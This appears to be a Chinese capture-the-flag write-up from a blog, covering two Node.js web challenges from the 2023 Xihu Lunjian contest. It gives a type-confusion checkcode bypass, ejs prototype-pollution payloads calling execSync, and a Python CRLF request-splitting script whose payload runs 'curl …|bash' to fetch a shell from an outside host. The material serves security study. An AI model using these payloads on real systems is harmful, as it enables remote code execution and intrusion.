2023西湖论剑
Node Magical Login
flag分为两部分
flag1可以通过Flag1Controller
函数获得
function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}
进入第二个if 让cookie的user为admin就可以在http请求头获得flag1
第二个flag在CheckController
函数中
function CheckController(req,res) {
let checkcode = req.body.checkcode? req.body.checkcode: 1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}
先看一下如何获得flag
有个try catch 这里我们要让他在 try里面报错才可以执行到
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
这里有两种方法让他报错
这里让try里面的代码块报错就只让他在checkcode = checkcode.toLowerCase()
这个语句中报错
先看第一种
无论怎样他必须要满足前面的if判断if(checkcode.length === 16){
然后有让后面的转小写产生报错
所以这里可以用对象来产生报错
使checkcode为checkcode={'length':16}
这里要注意的使 js也是有强等于和弱等于的 所以这里的16必须要是数字型的
然后是对象转小写会产生报错
第二种
这里是使用数组来产生报错
同样 这里还是必须要满足前面的if判断
实际上这里利用的是 js数组和对象对于.length的用法
数组 对象 还是字符串 可以可以直接使用. 来引用
数组.length表示的 和 字符串.length表示的都是同样的意思 第一个是 数组里面个体的数目 字符串表示就是 里面有多少字符
而对象的话 是可以通过. 来引用其中的属性 这里我们可以直接设置一个属性为 length 值为16就可以了
然后利用 数组和对象不能通过toLowerCase这个方法转小写 来产生报错 就可以了
real_ez_node
考点有两个一个是原型链污染配合ejs模板渲染
safeobj.expand
存在原型链污染
知道如何污染之后看污染成什么东西
这里用的是ejs模板引擎 被原型链污染后 可以rce
{"constructor.prototype.client":true,"constructor.prototype.escapeFunction":"global.process.mainModule.constructor._load('child_process').execSync('"id
"')"}
因为禁用了__proto__
使用constructor.prototype
代替
还有一个是nodejs的http.get 请求导致的CRLF 最终造成ssrf
这里需要用到一些关于http报文的知识 不太了解的话可以去了解一下 方便更好的了解crlf之前我也知识大体的了解这个东西
在低版本的http.get中 存在CRLF漏洞
{"constructor.prototype.client":true,"constructor.prototype.escapeFunction":"global.process.mainModule.constructor._load('child_process').execSync('\"`dir`\"')"}
原理是nodejs.讲http请求写入路径时,对unicode字符的有损编码引起的。
HTTP请求路径通常指定为字符串 但是nodejs最终将请求作为原始字节输出,并且js支持unicode编码 并且js默认的是latin1一种单字节编码字符集 不能表示高编号的unicode字符 当我们使用高编号的unicode字符的时候就会截取最低字节
例如:\u0130
会被自动截断为\u30
所以我们就可以利用这一点来实现ssrf
因为要crlf就是要拼接换行回车\r\n
所以我们可以在路径上写入unicode编码后两位是\r\n
url编码之后的
“\r”(%0d)和 “\n”(%0a)
例如\u{010D}\u
然后js会默认截取后两位 然后就会造成crlf漏洞
生成payload脚本 脚本文章
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81
Content-Length: 204
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
constructor.prototype.client=true&constructor.prototype.escapeFunction=global.process.mainModule.constructor._load%28%27child_process%27%29.execSync%28%27%5C%22%60curl+81.70.xxx.xxx%7Cbash%60%5C%22%27%29
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret
payload = payload_encode(payload)
print(payload)
这里因为无回显可使用curl反弹shell
标签:req,res,checkcode,西湖,2023,报错,constructor,text,论剑 From: https://www.cnblogs.com/kkkkl/p/17098679.html